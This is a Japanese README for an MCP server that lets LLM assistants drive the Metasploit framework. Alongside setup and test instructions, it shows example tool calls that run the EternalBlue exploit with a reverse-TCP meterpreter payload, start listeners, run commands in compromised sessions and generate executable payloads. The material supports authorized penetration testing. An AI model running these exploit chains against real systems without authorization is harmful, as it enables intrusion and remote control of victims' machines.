Metasploit用MCPサーバー
Metasploit フレームワーク統合のための Model Context Protocol (MCP) サーバー。
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
この MCP サーバーは、Claude のような大規模言語モデルと Metasploit フレームワークのペネトレーションテストプラットフォームとの間のブリッジを提供します。AI アシスタントが標準化されたツールを通じて Metasploit の機能に動的にアクセスし制御できるようにし、複雑なセキュリティテストワークフローへの自然言語インターフェースを実現します。
pip install -r requirements.txt
MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads # オプション:生成されたペイロードの保存先
Metasploit RPC サービスを起動します:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
サーバーは2つのトランスポート方式をサポートしています:
--transport フラグを使用してトランスポートモードを明示的に選択できます:
# HTTP/SSE トランスポートで実行(デフォルト)
python MetasploitMCP.py --transport http
# STDIO トランスポートで実行
python MetasploitMCP.py --transport stdio
HTTP モードの追加オプション:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Claude Desktop 統合の場合は、claude_desktop_config.json を設定します:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
HTTP/SSE を使用するその他の MCP クライアントの場合:
サーバーを HTTP モードで起動します:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
MCP クライアントを次のように設定します:
http://your-server-ip:8085/sse⚠️ 重要なセキュリティ警告:
このツールは、強力なエクスプロイト機能を含む Metasploit フレームワークの機能への直接的なアクセスを提供します。責任を持って使用し、セキュリティテストを実行する明示的な許可がある環境でのみ使用してください。
list_exploits("ms17_010")run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})list_active_sessions()send_session_command(1, "whoami")run_post_module("windows/gather/enum_logged_on_users", 1)send_session_command(1, "sysinfo")terminate_session(1)start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)list_listeners()generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})stop_job(1)このプロジェクトには、信頼性と保守性を確保するための包括的なユニットテストと統合テストが含まれています。
テストの依存関係をインストールします:
pip install -r requirements-test.txt
または便利なインストーラを使用します:
python run_tests.py --install-deps
# または
make install-deps
# すべてのテストを実行
python run_tests.py --all
# または
make test
# カバレッジレポート付きで実行
python run_tests.py --all --coverage
# または
make coverage
# HTML カバレッジレポート付きで実行
python run_tests.py --all --coverage --html
# または
make coverage-html
# ユニットテストのみ
python run_tests.py --unit
# または
make test-unit
# 統合テストのみ
python run_tests.py --integration
# または
make test-integration
# オプション解析テスト
python run_tests.py --options
# または
make test-options
# ヘルパー関数テスト
python run_tests.py --helpers
# または
make test-helpers
# MCP ツールテスト
python run_tests.py --tools
# または
make test-tools
# 遅いテストを含める
python run_tests.py --all --slow
# ネットワークテストを含める(実際のネットワークが必要)
python run_tests.py --all --network
# 詳細出力
python run_tests.py --all --verbose
# クイックテスト(カバレッジなし、最初の失敗で停止)
make quick-test
# デバッグモード(詳細な失敗情報)
make test-debug
tests/test_options_parsing.py:graceful なオプション解析機能のユニットテストtests/test_helpers.py:内部ヘルパー関数と MSF クライアント管理のユニットテストtests/test_tools_integration.py:モック化された Metasploit バックエンドを使用したすべての MCP ツールの統合テストconftest.py:共有テストフィクスチャと設定pytest.ini:カバレッジ設定を含む Pytest 設定カバレッジ付きでテストを実行した後、レポートは次の場所で利用可能です:
htmlcov/index.html(--html オプション使用時)継続的インテグレーションの場合:
# CI 対応のテストコマンド
make ci-test
# または
python run_tests.py --all --coverage --verbose
デフォルトでは、generate_payload で生成されたペイロードはホームフォルダの payloads ディレクトリ(~/payloads または C:\Users\YourUsername\payloads)に保存されます。PAYLOAD_SAVE_DIR 環境変数を設定することで、保存場所をカスタマイズできます。
環境変数の設定:
Windows (PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
Windows (コマンドプロンプト):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
Linux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
Claude Desktop 設定内:
"env": {
"MSF_PASSWORD": "yourpassword",
"PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // デフォルトを上書きする場合のみ追加
}
注意: カスタムパスを指定する場合は、そのパスが存在するか、アプリケーションが作成する権限を持っていることを確認してください。パスが無効な場合、ペイロード生成が失敗する可能性があります。
Apache 2.0